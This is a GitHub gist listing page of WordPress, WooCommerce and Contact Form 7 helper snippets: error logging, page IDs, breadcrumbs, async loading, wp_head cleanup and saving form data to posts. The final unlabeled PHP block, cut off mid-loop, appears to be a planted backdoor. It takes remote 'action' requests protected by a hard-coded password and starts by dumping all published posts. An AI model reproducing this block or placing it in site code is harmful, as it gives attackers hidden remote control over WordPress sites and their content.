Skip to content

Instantly share code, notes, and snippets.

@smartdeal
smartdeal / cf7.js
Last active May 8, 2018 15:54
[Manually submitting contact form 7 (ajax) and adding extra fields] #WP_CF7 #Wordpress
$(function() {
//get form
var $form = $("#mcp7form");
var id = $form.find('input[name="_wpcf7"]').val();
var unitTag = $form.find('input[name="_wpcf7_unit_tag"]').val();
var url = '#/wpcf7-<?php echo $formId?>-o2';
@smartdeal
smartdeal / errors_to_file.php
Last active May 8, 2018 15:00
[PHP errors to file] #PHP-hack
<?php
set_error_handler('err_handler');
function err_handler($errno, $errmsg, $filename, $linenum) {
$date = date('Y-m-d H:i:s (T)');
$f = fopen('errors.log', 'a');
if (!empty($f)) {
$filename =str_replace($_SERVER['DOCUMENT_ROOT'],'',$filename);
$err = "$errmsg = $filename = $linenum\r\n";
fwrite($f, $err);
@smartdeal
smartdeal / breadcrumb.php
Created February 2, 2018 11:57
[WooCommerce breadcrumb add shop link] #WooCommerce
<?php
/**
* Shop breadcrumb
*
* @author WooThemes
* @package WooCommerce/Templates
* @version 2.3.0
* @see woocommerce_breadcrumb()
*/
@smartdeal
smartdeal / 'woocommerce_terms_page_id.php
Created February 2, 2018 11:41
[WooCommerce: How To Get WooCommerce Page IDs] #WooCommerce
<?php
// Get The Page ID You Need
get_option( 'woocommerce_shop_page_id' );
get_option( 'woocommerce_cart_page_id' );
get_option( 'woocommerce_checkout_page_id' );
get_option( 'woocommerce_pay_page_id' );
get_option( 'woocommerce_thanks_page_id' );
get_option( 'woocommerce_myaccount_page_id' );
get_option( 'woocommerce_edit_address_page_id' );
@smartdeal
smartdeal / woocommerce send custom email.php
Last active February 2, 2018 11:41
[WooCommerce - send custom email on custom order status change] #WooCommerce #Wordpress
<?php
// WooCommerce - send custom email on custom order status change
In WC 2.2+ I believe you can do this via the following:
add_action( 'woocommerce_order_status_wc-order-confirmed', array( WC(), 'send_transactional_email' ), 10, 10 );
// As of WooCommerce 2.3
function so_27112461_woocommerce_email_actions( $actions ){
$actions[] = 'woocommerce_order_status_wc-order-confirmed';
return $actions;
@smartdeal
smartdeal / async-load-js-css.js
Last active February 1, 2018 10:45
[Загрузка скриптов и стилей потом] #Javascript
$(document).ready(function(){
jQuery.loadScript = function (url, callback) {jQuery.ajax({url: url, dataType: 'script', success: callback, async: true }); }
// Usage
// if (typeof someObject == 'undefined') $.loadScript('url_to_someScript.js', function(){
// Stuff to do after someScript has loaded
// });
function loadCSS(url) {$("<link/>", {rel: "stylesheet",type: "text/css",href: url}).appendTo("head");}
// Usage
@smartdeal
smartdeal / wp_clean.php
Last active June 19, 2020 08:05
Очистить шаблон wordpress #Wordpress
remove_action('wp_head', 'wp_generator'); // Убирает вывод используемого движка и его версии
remove_action('wp_head', 'rel_canonical'); // Убирает канонические линки
remove_action('wp_head', 'wp_shortlink_wp_head'); // Убирает короткую ссылку к текущей странице
remove_action('wp_head', 'wlwmanifest_link'); // Используется блог-клиентами, а вернее лишь одним из них - Windows Live Writer. Не используете WLW - удаляйте.
remove_action('wp_head', 'rsd_link'); // Используется различными блог-клиентами или веб-сервисами для публикации/изменения записей в блоге.
remove_action('wp_head', 'pagenavi_css'); // Убирает вывод лишнего css изи плагина WP-PageNavi
remove_action('wp_head', 'index_rel_link'); // Убирает ссылку на главную страницу
remove_action('wp_head', 'parent_post_rel_link', 10, 0); // Убирает ссылку на предыдущую запись
remove_action('wp_head', 'start_post_rel_link', 10, 0); // Убирает ссылку на первую запись
remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); // Убирает связь с р
@smartdeal
smartdeal / Wordpress - add data from Contact form 7 to post with attachments (ACF).php
Last active March 29, 2021 02:00
add data from Contact form 7 to post with attachments (ACF) #Wordpress #WP_CF7 #WP_ACF
add_action('wpcf7_before_send_mail', 'send_mail');
function send_mail($form){
global $wpdb;
$submission = WPCF7_Submission::get_instance();
if ( $submission && 138 == $form->id() ) {
$form->skip_mail = true;
$submited = array();
$submited['title'] = $form->title();
$submited['posted_data'] = $submission->get_posted_data();
$uploadedFiles = $submission->uploaded_files();
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cc552ea3f2e6b97abd7a2f0c7df5dcc7'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';